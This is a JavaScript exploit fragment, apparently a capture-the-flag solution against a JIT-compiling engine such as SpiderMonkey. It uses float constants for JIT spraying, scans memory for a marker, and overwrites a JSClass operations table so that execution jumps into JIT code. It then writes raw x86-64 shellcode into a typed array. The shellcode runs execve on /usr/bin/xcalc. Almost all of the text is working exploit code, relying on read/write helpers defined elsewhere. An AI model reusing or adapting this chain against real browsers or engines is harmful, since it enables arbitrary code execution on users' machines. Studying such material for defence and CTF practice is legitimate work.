grp_ptr.reverse()
buf[7].func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
for (i=0;i<100000;i++) buf[7].func()
slots_ptr = read(slots)
slots_ptr.reverse()
print1(slots_ptr)
slots_ptr.reverse()
func_ptr = read(slots_ptr)
func_ptr[6]=0
func_ptr[7]=0
func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()
func_ptr.reverse()
add(func_ptr,new data("0x30"))
func_ptr.reverse()
func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()
jit_ptr=read(func_ptr);
jit_ptr.reverse()
print1(jit_ptr)
jit_ptr.reverse()
jitaddr = read(jit_ptr);
jitaddr[0]=0
jitaddr[1]=jitaddr[1] & 0xf0
jitaddr.reverse()
print1(jitaddr)
jitaddr.reverse()
jitaddr.reverse()
sub(jitaddr,new data("0xff0"))
jitaddr.reverse()
for(j=0;j<3;j++){
asdf = read_n(jitaddr,new data("0xff0"))
offset=-1;
for (var i =0;i<0xff0;i++)
{
if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
offset=i;
break
}
}
if(offset!=-1)
break
jitaddr.reverse()
add(jitaddr,new data("0xff0"))
jitaddr.reverse()
}
offset = offset+8+6
jitaddr.reverse()
add(jitaddr,new data(offset.toString(16)))
jitaddr.reverse()
console.log(offset);
jsClass = read_n(grp_ptr,new data("0x30"));
name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)
group.reverse()
add(group,new data("0x60"))
group.reverse()
eight = new data("0x8")
function addEight()
{
group.reverse()
add(group,eight)
group.reverse()
}
function write1(addr,value){
for (var i=0;i<8;i++)
changer[i]=addr[i]
for (var i=0;i<8;i++)
leaker[i]=value[i]
}
backingbuffer = group.slice(0,8)
oops = group.slice(0,8)
oops.reverse()
add(oops,new data("0x30"))
oops.reverse()
write1(group,name)
addEight()
write1(group,flags)
addEight()
write1(group,oops)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()
write1(group,jitaddr)
sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer
slots_ptr.reverse()
add(slots_ptr,eight)
slots_ptr.reverse()
sc_buffer_addr = read(slots_ptr)
sc_buffer_addr[6]=0
sc_buffer_addr[7]=0
sc_buffer_addr.reverse()
add(sc_buffer_addr,new data("0x38"))
sc_buffer_addr.reverse()
ptr = read(sc_buffer_addr)
ptr.reverse()
print1(ptr)
ptr.reverse()
ptr.reverse()
ss=inttod(ptr)
ptr.reverse()
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 87, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]
for(var i=0;i<sc.length;i++)
sc_buffer[i]=sc[i]
write1(aa,backingbuffer)
buf[7].jjj=ss